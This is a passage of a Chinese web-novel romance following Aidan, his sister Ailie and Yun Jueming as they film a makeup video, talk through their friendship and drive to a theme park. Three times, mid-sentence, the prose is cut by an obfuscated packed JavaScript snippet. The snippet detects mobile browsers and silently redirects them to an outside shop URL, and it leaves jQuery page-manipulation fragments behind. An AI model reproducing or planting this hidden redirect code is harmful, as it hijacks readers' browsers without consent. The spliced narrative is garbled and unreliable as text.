“不过,我觉得你还是小心一点好。”艾莉喝了口奶昔,又加了一句,“我查了ip地址,发现是同一个人换了不同的号和身份,变着法子向我打听你的各种事情。我看了她发在网上的一些言论,恐怕这个人的心理有点不太正常。” “查ip地址?”艾登皱起了眉头,好似完全没听见艾莉其他提起的内容,“你怎么懂得这种事的?” “我闲着无聊的时候自学了一些黑客技术,很简单的。我学了几天就能侵入你的电脑了——啧啧,那真是一个不幸的教训,让我知道男生的电脑里无论如何都不会有什么好货。” 艾莉促狭地眨了眨眼,艾登立刻表情不自然地扭开了脸。云决明有点想笑,又觉得笑出来不太厚道,只好往自己嘴里塞了一口火腿。 “所以说,你之前担心我会遭遇网络暴力什么的,这种事根本就不会发生。谁敢在我的评论区造次,我就写个小程序,让他的ip以后再也没法造访我的视频——我和对方都从彼此的生活中消失,对他好,对我也好。” 只不过,艾莉这种干脆的态度,在她吃完早餐,准备开始录视频的时候就消失得无影无踪了。 也许是因为艾登难得地站在了她这边,艾莉似乎下定了决心,一定要把这件事做得十全十美。光是要决定视频在哪拍,哪里光线最好,又该怎么布置,就花了好几个小时的时间,云决明和艾登跟着她在屋子里上上下下跑了几十趟(在她来之前,书房就被锁上了),一个人拿着摄影机,另一个人拿着打光机,在不同的地方测试了最少有上百次以后,艾莉才终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041210|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定在客厅的大理石壁炉前录制视频。她会把摄影机放在茶几上,盘腿坐在地毯上,身后的墙角根随便放了几幅现代抽象画(临时从艾登的房间里取下的),作为点缀。据她说,这样能显得平易近人,又不至于让人觉得杂乱。 坐下来以后,她愣愣地发呆了一会。 艾登几次想说话,都被云决明的眼神给逼了回去,只好跟他一起耐心地等艾莉准备好。 “唔……我现在还没化妆,所以我最好先从没化妆时的素颜状态开始录,向大家展示我是怎么化妆的,然后等画好妆了以后,再录制开头——至少我看别人都是这么做的。” “你要一上来就录——嗷——我是说,当然可以啊,如果别人都是这么做的话,这个经验挺值得借鉴的。” 艾登眼含热泪地揉了揉小腿,硬生生地转了话题。 “你只打算录一个化妆的视频吗?”云决明问道。 “我很快就要期末考试了,所以妈妈可能不会再允许我整个周末都跑去别人家玩了,”艾莉偏着头想了一会,说道,“但是稳定的更新对新人来说很重要,所以我可能得一口气录三到四段不同内容的视频,第一个是跟大家打招呼——当然,那个要等我化妆以后才能录,第二个可以是美妆教学,第三个……” 她犹豫了一会。 “我觉得第三个视频得做一点有趣的内容,然后等到第四个再开始分享我的生活,这样更能吸引人气。我有一个想法,但是——” “没事,你说。”可能想要弥补之前的态度上的失误,艾登马上就接话了,“任何想法都是好想法。” “我想给你化妆。” “什么——?” 艾登被惊吓到的模样就跟漫画里一样夸张,张大了嘴,瞪圆了眼,整个人僵得如同一座塑像,云决明把拳头堵在嘴上,才勉强憋回去即将冲口而出的笑声。 “但我后来又想了想,一开始来支持我的视频的多半都是学校的同学,我可不想她们抱着‘能看见艾登·维尔兰德不为人知的一面’这个想法来给我的视频点赞,所以——” 她的视线转到了云决明身上,他突然就笑不出来了。 “Ming不行,”艾登马上插嘴了,“不要把他牵扯——” “你怎么这么喜欢为别人做决定?”艾莉的语气一下子冷了下来,“如果Ming不愿意成为我的模特的话,我觉得他可以自己告诉我,不需要你越庖代俎。” 客厅顿时就沉入了尴尬的无声中,艾莉抱着双臂,气哼哼地盯着艾登,花费了一早上好不容易修复了一点的兄友妹恭此刻荡然无存;艾登则紧抿着嘴,又摆出了那副代父之责的模样,不肯先开口服软。 云决明在心中轻声叹了一口气。 “我很乐意。” 维尔兰德兄妹同时扭头望向他,一个惊讶,一个惊喜。“真的吗?”“真的吗?”两个人异口同声地问道,语调却完全不同,问完以后还不忘又狠狠互瞪一眼。 云决明心知这对兄妹的心结没那么容易解开,然而,如果今天他不牺牲自己,天知道什么时候能等来这么一个机会?就当是为了艾登,他心想着,这个想法多少还染上了一点悲壮的意味——为了艾登,有什么是自己不会去做的? “真的。”他点了点头,微微一笑,“我一点也不介意。” “太好了。”艾莉从地毯上一跃而起,云决明还没见过她这么兴奋,这么高兴的模样,“我现在就去化妆!我想先录这个视频,一定会很有趣的。我们得想个主题,把你画成谁比较好——你觉得木兰怎么样?” “挺好的。”云决明违心地说道。艾登担忧地看了他一眼,刚想说点什么,云决明就不动声色地用手肘撞了他一下,“要不你去给艾莉倒杯水吧?等会开始化妆以后,恐怕就不好喝水了,家里又没有吸管——” “好吧,”艾登不情不愿地转身往厨房走去,“我记得我似乎专门带来了一个小美人鱼的杯子,就是为艾莉准备的,让我找找……” 艾登才一起身,正埋头在自己的化妆包里挑挑拣拣的艾莉就戳了一下云决明的胳膊。 “嗯?”他诧异地望着她。 “很抱歉我之前对你的态度有点刻薄,”她把声音压得很低,云决明只能勉强听见,“我一开始以为……你是为了那笔不菲的补习费才选择待在我哥哥身边,而且你那时又发现了我的秘密……总而言之,我很抱歉,其实你跟我哥哥还挺适合的。” “我——我不明白你在说什么。”突如其来的慌乱霎时间淹没了云决明,他的声音不自然到了极点,就像从个坏掉的发声玩具中传出的一样。他移开了视线,指甲紧紧扣住地毯——他表现得有那么明显吗?艾登知道了吗?难道这才是他一直避开自己的原因?不,不行,他明明尽自己最大努力…… “我是说,作为朋友,你跟他很适合。”艾莉微微眯起双眼,“你想到哪儿去了?” “不,没什么。”云决明心虚地应了一声。艾莉瞧了他几秒,突然噗嗤一声笑了,这似乎是云决明第一次正面瞧见她灿烂地笑起来的模样,这一刻的她与艾登有七分相似。 “谢谢你。” 她不出声地用口型说道,眼圈突然红了。 “谢谢你,让我的哥哥回到了我身边——哪怕只有一天。” 34. Chapter·Twelve 正打算下楼去厨房倒杯水喝,云决明忽地瞥见书房的门打开了。 他沿着洒在走廊上的微光走去,门缝中,艾登一个人站在房间里。他刚刚洗完澡,浅棕色的发丝粘连成漫画里那种刺猬头的造型,全都往后脑勺支棱着,给他增添了不少坏小子的痞气。书桌上的台灯开着,一圈雏菊般的光晕照在他侧脸上,描出了深邃的阴影。他低头瞧着摆在台面上的照片,似乎出神了。 “嘿。” 云决明轻轻敲了两下门,更多艾登的侧身随着光线一同泼洒了出来,米色的棉质睡衣,浅灰色的宽松睡裤,他随意往那儿一站,看着却像是一页现成的时尚杂志睡衣专刊,昏暗的光线下,古铜色的肌肤反而比苍白肤色更惊心动魄,恍若被漫画家勾勒出了一轮有力的轮廓。 “艾莉离开了?”咽了一口口水,云决明强迫自己的视线从艾登锁骨处挪开,一滴水珠从艾登的耳后滑下,顺着古铜色的肌肤向下蜿蜒,房间里充盈着若有若无的香气,混杂着沐浴露,洗发水,还有透过棉质睡衣发酵的体味,不知道谁说过一句“爱情是从嗅觉开始的”,云决明突然很痛恨这句话。 “半个小时前的事,”艾登放下了相框,“克丽丝把她接走了,她说录的很顺利,还让我再次跟你道谢,感谢你今天早上为了她的视频的牺牲。” “我们是好兄弟嘛。”也许是因为已经对自己重复了太多遍这句话,云决明说出的语气异常平静,“这点小事算什么。” “我不希望你这么说。” 艾登走过来,伸手关上了书房门。他的手臂擦过云决明鼻尖前时,那若有若无的气味猛地强烈起来,让人有一种想要将脸埋在棉质睡衣中狠狠嗅吸的冲动。虽然知道艾登这么做多半是为了不让洛克希进来,在那漫长的一秒中,云决明还是觉得自己心跳不可抑制地加快了。 心理研究的结果显示,这个世界百分之九十的人都是双性恋,只有剩余约莫百分之十的人口是单性恋。 心理研究同样表明,一个人会对另一个人产生感觉,只是荷尔蒙的相互作用而已。 云决明飞快地在脑海里回想着这些科学理论。 这不是什么大不了的事情。他告诉自己。 催产素,□□,还有多巴胺,这三支神经递质大军会在某个不起眼的瞬间突然被激活——也许是嗅到了对方身上散发出的荷尔蒙气味,每个人都会对另一个人身上的荷尔蒙气味产生反应,只是意识不到这一点;也许是因为对方不经意的动作,眼神,语气,表情,情绪;也许是出于最原始,也最本能的性冲动——总之,它们聚集在一块,蜂拥着冲向神经中枢,所向披靡,无往不利,侵占每一条神经,霸占了理智的老巢,还打通了与心脏之间的秘密通道。 随时随地,只要它们标记的人类出现在视野中,只要有一丝气味散发在空气中,甚至是见到了对方的名字,某件与对方有关的事物,都会让它们发出排山倒海般的欢呼,于是,每一丝神经都跟着一同颤栗,将欢愉与不切实际的幻想统统灌输到大脑里,将痴迷与激情像冲水马桶一样随血液冲进心脏,所有一切碰撞在一块就跟高朝一样让人欲罢不能。所以人会瞳孔放大,脉搏加快,眼中倒映出的是完美无缺的身影。 所以你才会对艾登产生这些感觉,他安慰着自己,把感情当成一个化学分子式一样来分析,便失却了所有的浪漫,只剩科学。最终,如果没有建立起持续反馈的亲密纽带,荷尔蒙最终会从大脑中溃败离去,一切又会恢复正常。 你必须静静等待,保持距离,才不至于失去这个朋友。 然而,再科学,再冷静的解释,也没有办法让他遏抑着漫长一秒中突然产生的强烈冲动。他想偏过头去,缓慢地,小心翼翼地亲吻自己面前的那截胳膊——不必真的触碰到肌肤,不,真的不必,那一瞬间的颤栗会冲垮他,只是轻轻地以嘴唇触碰那细细的绒毛,每一寸神经都站起来迎接那微弱的接触,把短暂,似有似无,微不足道的接触拉扯成永恒,深入骨髓,刻骨铭心的感官盛宴。 “Ming?” 那截手臂倏地收了回去,刹那理智席卷而来,云决明应声抬头,在眼神对撞以前,他成功藏起了自己的思绪。 “我说,我不希望你这么说。” “说什么?”云决明已经忘了一分钟前他说了什么。 “说‘这没什么的’,”艾登盯着他,神色认真得好像他正在跟总统说话,“我不希望你把你所做的一切都归于某种无所谓,不值一提,理所应当的分类中,好像在这段友谊中,你就该做这些事情似的。我不希望你把自己摆在那么一个卑微的位置上,如果你不想参与艾莉的化妆视频,那就直接说出来;如果生活中有什么让你不愉快的事情,你也要告诉我;而且,你不必为了我父亲的案件而费事去看那些犯罪心理的书籍。我不想让你因为有时不好意思拒绝,或者是担心会让我失望,就任由我干涉你原本的生活。” 难道这才是艾登这段时间以来的真实想法? 云决明突然觉得他实在傻得可爱。 “但是,你把你父亲的案件详情告诉我,不就是为了我也能出一份力,尽快让肯尼出狱吗?” 艾登泄气地望着他,“我是这么想的,但我当时没有意识到你会这么上心,不仅马上就开始阅读相关的书籍,甚至要提前上课——你的奖学金不包夏季课时的费用,你恐怕把过去几个月以来攒的补习费都拿去付学费了吧。我看过你的课表,你之前根本没有上过经济学的专业课,即便你从大二开始上心理学的基础专业课,也不会耽误你毕业。你这么做,是想在不延毕的前提下,多上两门相关的课程,对不对?” 云决明无法辩驳,艾登敏锐起来的时候可以把自己的心思像本书一般捧在手上读。若非如此,他也不会那么害怕艾登会发现自己的感情。 “这就是我想说的,Ming,我们是两个彼此独立的成年人,我们应该有自己的生活和目标,一方不该为了一己私欲去干涉另一方的生活——” “但是我想这么做,”云决明打断了他的话,“不是为了你,是为了肯尼。” “你不欠肯尼什么,Ming,你不明白,当年我的爷爷通过杰森父亲的关系,给当地警察局施了很大的压力,这才逼得他们在没有足够证据的情况下就迅速逮捕了肯尼。他会被关进去,纯粹是因为我的家人自私地希望这场悲剧能够快点结束——我必须承担起这个代价,但你没必要!” “那就当我为了你。” 云决明极力控制着颤抖的嗓音,好不让汹涌的情感泄露出一分。 “也为了自己。”他又飞快地补充了一句。 “Ming——” “听我说,艾登。” 他坚定的声音让对方安静了下来。 “有很长一段时间,我不知道自己活着的意义是什么,理由是什么。我对于自己将来要做什么,要为了什么目标而努力,没有一点头绪。我什么都不在乎,不关心,我从前只想平庸地过完我的一辈子,找一份能糊口的工作,每天回家有张干净的床铺睡觉,对我来说就足够了。” 他以为自己会说得很快,就像从前为了掩饰自己紧张情绪时会干的那样,但从喉咙里流淌出的声音却意外地平缓,好似这一瞬间,曾经那个会在讲台上发表慷概激昂的班长竞选演讲,那个会在广播站里声情并茂地朗诵自己写的作文的天不怕地不怕的小男孩,又回到了他的身体中。 这些话,云决明从没打算要跟艾登说。 然而,他很清楚,如果不坦诚自己的想法,艾登只会自作主张地把他们之间的距离推得更远——保持距离的人应该是他,不是艾登,云决明知道这么想很自私,但他无法控制自己的渴求。他受不了艾登主动后退,他害怕会有别人挤进艾登让出的空隙中,他恐惧这一步的距离永远不能拉近,他担忧自己会因此忍不住主动靠近,导致对方发现他的感情。这一刻,不管什么代价,哪怕灰飞烟灭,他也要将这温暖借留身旁。 “你说我们都是独立的成年人,应该有自己的生活和目标。我觉得很对,但我的生活和目标——” 他要紧紧在裤袋中捏紧拳头,才能保持声音的平静,冷淡。 “都是你赋予的,艾登。” 他多想。 “换成心理学专业,开始研究犯罪心理学和连环杀手,想着也许以后进入FBI的行为研究部门,当一名探员。这些组成了我的生活和未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041211|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成为了我活着的目标。是它们支撑着我每一天从床上爬起,”还有你。“知道我正朝着一个清晰的方向前进。而不似从前那般,碌碌如一只活在别人屋檐下的蟑螂,最大的心愿就是不要被任何人发现,以及每日能找到糊口的食物。” 走上前。 “我没有勉强自己去看那些书,我没有勉强自己研究连环杀手,我学的很开心——也许我今日的努力能把一个无辜的人从监狱中拯救出来,这一点赋予了所有一切充足的意义,让我不再每一天质问自己活着究竟为了什么。更何况,你已经做完了前期整理数据的工作,现在是时候让我出马,利用我所学到的知识,从你归纳出的资料中找到可能的规律。你只是要给我一点时间,至少让我把书都全看完,还有那些专门针对连环杀手写的论文。” 吻住他。 “所以,我觉得我们现在就挺好的。” 可他最终只是像个哥们一样,拍了拍艾登的肩膀。 “我不觉得你干涉了我的生活,艾登,我现在很清楚我要做什么,不会轻易就为了你改变——否则,我现在就该把夏季课程给退了,不是吗?” 为了最后故作轻松开的玩笑,云决明甚至露出了淡淡的笑容。如果艾登有穆迪教授的魔眼,就会瞧见他的手在裤袋里皱成了一团,手指与布团血肉牵连,死死纠在一块。要冷静,平淡,不带任何感情地剖白这些,就像一个好朋友云淡风轻,自然而然地向另一个好朋友解释对方对自己来说有多么重要,太难了,可他本来就不该对艾登抱任何超出友谊的感情,他本来就只该是艾登的好朋友,他只是对照入深渊的光产生了依赖,生怕对方又将自己留在黑暗中,哪怕知道对方是火,哪怕知道自己不过是只脆弱的蛾子,却也忍不住要扑去。 但你不能,云决明,你会再度化为灰烬,在那头搁浅的海豚还未能开始学着呼吸以前就死去,余生与冰冷无声相伴,梦里只会有千只乌鸦飞过,留下画满灾厄的天空。 说点什么啊,艾登,说是啊,说没错,说原来你想多了,其实我们就这么相处也挺好的,说话啊。 但艾登只是专注地望着他,似乎比起他后半段话,他的思维还停留在云决明一开始说出的内容上,正在思考是什么让自己丢失了活着的意义和目的。他的眼神太复杂,温柔中套着悲哀,悲哀伴着同情,同情里生出感动,感动之余也有愕然,云决明不得不扭开了头。 “其实,我还想着,既然我不能陪你去佛罗里达度假,跟你一起去迪士尼乐园玩,”艾莉在晚餐桌上详细描述了一番她制定的度假计划,更让云决明确定他应该邀请艾登跟他一起去游乐园,“不如等你哪天有时间,我们可以去六旗主题公园玩一天,你觉得呢?” 艾登仍旧专注地望着他,过了好几秒,他才柔声开口了。 “这真的是你想做的事情吗,Ming?我是说,研究犯罪心理学和连环杀手,以后在FBI跟我一起搭档破案什么的?” “真的。”这句话是真心的,如果用这种办法才能留在艾登身边,云决明不介意走上这条职业道路。 “那我就不再说什么了,但只要你觉得我在干涉你的生活——” “我会立刻让你知道的。”不,他永远不会说的。 “那么,你打算什么时候去六旗?”艾登的声音一下子兴奋了起来,“因为直到要去佛罗里达度假以前,我每天都有空。” “你不用参加朋友们的派对了吗?”果然,他这段时间一直用派对来躲着自己,是不想让自己觉得生活被干涉了。 “我这个夏天的‘社交义务’已经尽了,”艾登咧嘴一笑,“说真的,你打算什么时候去?我们明天去怎么样?明天你有时间吗?我们可以一大早把洛克希放到我家去,然后直接开车过去——” “这周不行,”他今天就只有晚上可怜的两个小时拿来写了半篇论文,夏季课程时间很紧,课业很重,他还有好多书没看,“下周吧。” “那就这么定了!” 艾登兴高采烈地走出了书房,云决明站在身后,瞧着他沿着洒在走廊上的微光远去,不由得深深地叹了一口气,这才缓缓地松开了裤兜里的双手。 指尖已然全都麻木了。 35. Chapter·Thirteen “Minge here.” 艾登招呼了云决明一声。 他正在后备箱那儿整理冷藏箱,闻言抬起头来,手上还拿着一个玻璃保鲜盒。“怎么了?” 因为六旗主题公园里贩卖的全都是高油脂,高热量的食物,云决明不爱吃,艾登又不能吃,所以他决定效仿奶奶,凌晨四点就爬起来为云决明及自己准备午餐。 等云决明在六点半睡眼惺忪地走下楼时,餐桌的一头是已经做好的早餐,另一头则堆放了七八个保鲜盒,里面装满了白灼大虾沙拉,鹰嘴豆泥,烤三文鱼,四个白水煮蛋,两个牛油果,还有两大杯香蕉燕麦奶昔,装在能保温的随身杯里。累坏了的大厨艾登瘫倒在椅子上,连围裙都懒得摘下,心中对奶奶又多了一层崇敬。 既然艾登承担了烹饪食物的重担,收拾这些东西就成了云决明的责任。 “你过来嘛。”艾登坐在车前盖上,笑嘻嘻地又唤了一声。 “等等,我马上就整理好了。”柔顺的黑发又缩到了猩红的车盖后。早上七点的河际联合公寓宁静无比,只有清脆的鸟叫在梢头合唱,艾登隐约听见玻璃与塑料盖相撞的声音,接着,就是后备箱“砰”地一声关上了。只穿着一件简单无比的白色T恤的云决明走了过来,“到底怎么了?”他关切地问道,“车子没出事吧?” “没事,”艾登一把揽住他的肩膀,笑眯眯地举起了手机,“只是想给这趟出游留个纪念而已,说六旗——” “六旗。”云决明干巴巴地应了一声,好歹因为“旗”字的发音露出了一点笑容。艾登眼疾手快地按下了拍照键,保留了他笑容最柔和,最灿烂的瞬间。照片上,他们两个头挨着头,肩膀互叠,眉眼几乎相连,看上去十分亲密。 拍照的刹那,艾登感到指头下的云决明僵硬到了极点,激烈而迅速的心跳通过骨骼与肌肤咚咚传来,仿佛怀中搂着的是块烧红的铁块。也许云决明只是不习惯与人自拍而已,他心想。果然,他刚心满意足地松开手,云决明就立刻后退了两步,皱起了眉头。 “你没打算把那张照片发布在社交媒体上吧?” “当然不会。”自从云决明跟他提了那个跟踪狂女孩的事情过后,艾登就谨慎多了,只发布了几张不会暴露自己生活动态的照片,“仅是想要留个念而已,这可是我们第一次一块去主题公园玩呢。” “这种事有什么好留念的。”云决明转身往副驾驶位走去,只能听见他冷淡的声音从后脑勺传来。 “等你以后在我的婚礼上作为我的伴郎致辞的时候,这些照片就可以放在大屏幕上滚动展示我们这么多年来的友谊,就像罗斯跟钱德勒一样,肯定会让所有人都感动不已。”艾登兴致勃勃地说道,但也许是因为云决明没怎么看过老友记,他对这句话毫无反应。直到车子都开上路了,他还是一言不发,只是紧紧抓着安全带,僵硬的脊背紧紧贴在座椅上,嘴巴死死抿着,好像随时要吐。 “你晕车了吗?”艾登不解地问道。 “没有。”云决明冰冷冷地挤出一句。 “你该不会是因为等会要坐过山车,紧张了吧?”艾登一挑眉毛。 “不是。” “你不喜欢主题公园?”现在问这个问题似乎有点晚了。 “没去过。”今天云决明的话额外的少,“我猜还行。” 他该不会还在担心那个跟踪狂女孩的事吧? “真不知道你怎么能这么冷静,”艾登把车窗完全摇下,一手搭在窗沿,一手把着方向,猩红野马以每小时七十英里的速度驰骋,超过一辆又一辆的通勤车。约州早晨清冽的夏风倒灌进来,吹得他发丝纷乱翻飞,“只要想到我们将要一块去主题公园玩,我这个星期都激动得没怎么睡好——当然,我以前也跟橄榄球队员,还有兄弟会的成员们一起去过,但那是完全不同的,跟他们去,是看谁能把啤酒偷偷带进园区,看谁在过山车上叫得最歇斯底里,或者绞尽脑汁在鬼屋里整蛊新人。整趟旅程的关键就在于利用这次出游来巩固自己在群体中的地位,让大家知道你始终都是那个最大胆,最会玩,鬼点子最多,也最有领导能力的人。过程当然不乏乐趣,但始终……” 云决明紧绷的脸总算有了一丝松动。 “始终没有只有你我两个人,只是单纯地享受乐园设施来的快乐” “我猜是这样。”他说道,语气带了一点笑意。艾登回头去看,他又立刻扭头望向窗外了。 “开心一点,Ming,”艾登换了手抓方向盘,腾出右手拍了拍他的肩膀,“别担心,这次那个跟踪狂不会跟着我们一起去乐园的——除了家里人,我没跟任何人说起过这趟出游,不管她怎么打听,或者用多少个小号自导自演,都不可能知道。” “嗯。” “不过,我现在有点儿怀疑,也许她就是那个网暴疏眠的女生。” “她被网暴过?”云决明立刻回过头来,速度之快,让艾登不由得怀疑他是不是对疏眠有点意思——更别说他的语气还显得颇为关切。 也不怪他。艾登有点丧气地想着,疏眠的确对男人有不一般的吸引力,就连杰森那样不折不扣的种族歧视者也会不由自主地爱上她。 “疏眠跟我约会的那几个月,在中国的社交媒体上遭到了侮辱性的攻击,”他闷闷地开口了,“中国用的那个跟推特很像的社交媒体叫什么来着?” “微博?” “对,就是微博。”艾登点点头,“她也只跟我提过一句,说有人在她的微博下大量发侮辱评论,当她关闭了评论功能以后,又收到了死亡威胁私信。不过,她要我别担心,说她能自己处理。” “你就没想过再问问?”云决明很惊讶。 “没有。”艾登老老实实地回答,“她说自己能解决,我可不想让自己显得多管闲事,才不过约会了一个多月就开始对她的生活指手画脚——” 不过,这么一想,艾登突然意识到他对疏眠有多么不上心——即便在他们约会期间也是如此。 如果换成云决明遭受了这样的网络暴力——他的脑子突然开始了不切实际的幻想——估计他绝不会这样随口一问,接着就抛诸脑后,很有可能奶奶一直盼望他能学会中文的宏愿能够就此实现。哪怕短时间内做不到用中文回敬对方,就是要高价请个翻译把自己犀利的英文一句一句意思不差地翻译过去,艾登也要亲自下场保护他。 但那样的事情是不会发生的,他安慰自己,别瞎担心。 “你没带她去游乐园玩过吗?”云决明又开口了,语气很谨慎。 怎么?Ming是想打听一番她喜不喜欢游乐园吗?艾登有点不快,他知道女人有“不能约会彼此前任”的规矩,现在想想,这个规矩也应该在男人间执行才对。 “没有。”他沉声说道,不自觉地加快了汽车的速度,“我跟疏眠虽然约会了三个月,但总共也没有出来玩过几次,她很忙碌,又有学业,又要负责荣誉协会的各种事项。更何况,我和她开始约会时已经十一月了,六旗主题公园在万圣节后就会闭园。” 不想把话题老纠结在自己的前约会对象上,艾登迅速换了一个话题。 “那你的家人呢?你来美国这么多年了,你的母亲从来没想着要带你来游乐园玩吗?” 话一出口,他就看见云决明现出了点点苦笑。 “抱歉,Ming,”艾登只顾着转移话题,没防备自己说出的话,“你不想说的话——” “也没什么。”云决明平静地回了一句,“我刚过来美国的时候,家里的钱都由我继父掌控着,他愿意花一大笔钱聘请律师,准备文件,交担保金,好让我能拿到绿卡,已经让我的母亲很感激了,不敢再要求更多。等他失踪以后,已经是我上高中的时候了,早就过了让母亲带着去游乐园的年龄,我母亲也觉得,如果我自己想去,我大可以找份工作,攒钱跟朋友一块去,自然也不会操心这种问题。” “你说你继父失踪了?” “对,他有一天就这么离开了,拿上了一些文件,一些现金,还有车,就这么人间蒸发了。半年以后我母亲就申请离婚了,理由是抛弃家庭。” “他原来就是个不负责任的人吗?” 这句话有点打听隐私的意味在里面,但艾登无法不问出这句话。他无数次猜测过,云决明这种冷淡又内敛的性格究竟是由什么造成的?他是因为什么才自暴自弃到这个地步,完全失去生活的意义和目的,仿佛他活着只是为了不让他的母亲失望,不让她至今为止为孩子付出的一切打水漂?他的痛苦,他的忧郁,他的支离破碎,是从何而起?为什么一个不过才十八岁的少年,会有不亚于研究生的学术水平,又因为什么,无法选择心理学这条路? 被迫从熟悉的环境中来到陌生的国度生活,被迫与从小一起长大的家人分离,肯定是其中诱因,却不可能是全部的诱因。 他想了解,这份渴望超出一切,几乎与想要找出杀死父亲的真凶一样迫切,一样深重。仿佛云决明的内心就赤倮倮地摊开在他面前,犹如一副破碎成千万碎片的拼图,他沿途小心翼翼捡取每一块飘落的碎屑,像在冬日捕捉雪花,夏夜打捞星光。艾登清楚,只要锲而不舍,终有一天他能拾获所有片段,然而,他仍然得知道这副拼图的模样——得知道云决明蹒跚一路走来的种种经历,就像一帧一帧地观测一颗彗星是如何以璀璨的姿态降临这个星球,瞧着它的光芒逐渐解体,洒落,黯淡,最终坠落入深渊中——才能拼凑完整。 “不负责任倒谈不上,他是个掌控欲很强的男人。”云决明神色很平静,语气也同样,仿佛他早已释然,“他近乎疯狂地痴迷于那种一家之主的权威,说一不二,家里大大小小一切事务都必须按照他的规矩来办,我和母亲一直得恭恭敬敬,对他百依百顺的。这可能给了他一种错觉,导致他经常挂在嘴边的一句话是:如果他离开了这个家,我和我的母亲都会精神崩溃到无法生活的地步——我不得不说,他对自己也实在太有自信了一些。” 这就能解释为何他会迎娶云决明的母亲了,艾登明白过来,这种男性要的是一个完全依附于自己,没有反抗或逃走能力的女性作为妻子。他选择云决明的母亲,多半和爱情没有任何关系,只因为没什么比一个语言不通,文化不通,孤身一人来美国打|黑工的偷渡客更适合他的要求罢了。 “他不允许任何事情挑战他的权威,只要有类似的事情发生,他就会不择手段地让人明白他才是这个房子里的大家长,用最极端,最意想不到的手段来确保他的权力。所以,你可以说他是个非常残暴,冷酷,无情的男人。但是,只要你尊重他的权威,绝不忤逆他一丝一毫,按照他的规矩生活,就能相安无事。” 云决明的总结干净利落,这之后就没了下文。艾登突然很希望他之前打开了车载音响,至少音乐——与现实的无奈比较之下显得无病呻吟的歌词——可以填满话与话之间的沉默。如今他只是盯着前方宽阔的道路,注意避开路面中间被融雪盐腐蚀出的大洞,没有其他可以分散精神的借口,无处可去的注意力全都集中在了云决明身上,好似他眼角余光能瞥见的那一丝五官还远比他双眼瞧见的景色丰富,复杂。云决明格外冷静的表情,垂落的发丝,插在裤兜中的双手,都仿佛传递出了不一般的消息。他打过云决明吗?艾登思忖着,还是说有比暴力更极端,更意想不到的方式? “他走了也好。”艾登打破了沉默,“good riddance。” “嗯。”云决明哼了一声,表示赞同。 “他是白人?” “嗯” “让我猜猜……如果我说错了,你可以纠正我——你的继父是白人,约莫五十多岁,略微秃顶,个子中等,强壮,脸色潮红,开一辆美国国产品牌的汽车,只要有机会,不管是多小的细节,都会支持美国本土的品牌,比如说蔬菜一定要买本地农场出品的,衣服和鞋子也基本如此,要是翻开标签发现上面写的‘中国制造’,就会勃然大怒。洗发水,沐浴露,肥皂,还有须后水等产品恐怕也是70年代的经典单品。听你的描述,他大致就应该是这么一个人。” “是的。”云决明咬住了下唇,似乎已经能从艾登的描述中嗅到那股味道,“每句话都说中了。” “居然都说对了?”艾登有点惊讶,“这是我在FBI实习的时候,那儿的老探员教给我的技巧。” “什么技巧?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041212|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与其说是技巧,不如说是一种揣摩人的方式,利用的是大数据下归类出的刻板印象。他告诉我,人类总以为自己很高深莫测,认为自己的心思和性格都复杂无比,甚至有不少人都高傲地认为,一辈子都不可能有人明白他们心里究竟在想什么,或者预测他们的行为——然而,只要收集的数据足够多,只要经验够多,只要相关的知识够多,这个地球上百分之九十九的人都可以被揣摩个八九不离十,剩下的那百分之一,不过是疯子。” “大多数人听见这种话都不会有多么高兴的。”云决明一针见血地指出了这点。 “因为每个人都想极力证明自己的不同,”艾登笑了笑,“我听到的时候也不相信,直到他随口点评了我几句,没有一个字说错——我总劝说他退休以后可以去唐人街当个算命先生,只要别露出那张白人的脸,保证可以日进斗金,赚得比他在联邦调查局一辈子攒的钱还多。” 云决明被逗得笑出了声。 “那时候,我还问过老探员,难道变态连环凶手不包括在那百分之一里面吗?他们有许多心智跟疯子也没什么不同,都是数据学上会被称为‘偏差值过大’的人群。但他否定了我的想法,你知道为什么吗?” “如果连环杀人犯要做到他的行为不可被预知,除非他完全放弃任何规律,随机挑选日子,时间,采用随机的手法杀死随机的对象,才有可能做到这一点。”云决明立刻抢答了,一谈起这些,他眼里的星星霎时便被点亮了,“但关键就在于,人类的‘随机’和数据学上的‘随机’不可同日而语,我们所作出的每一个看似随机的决定,背后实际上都是大量心理暗示和潜意识活动所为我们做出的选择。因此,理论上,即便一个连环杀人犯如此‘随机’的犯案,如果被观测得够久,也能总结出一套规律,因此不该被归类在那百分之一里。” “没错,那个老探员也是这么说的——这个世界上没有完美的犯罪,”艾登轻声感慨一句,“只有不够完美的侦查工作。” 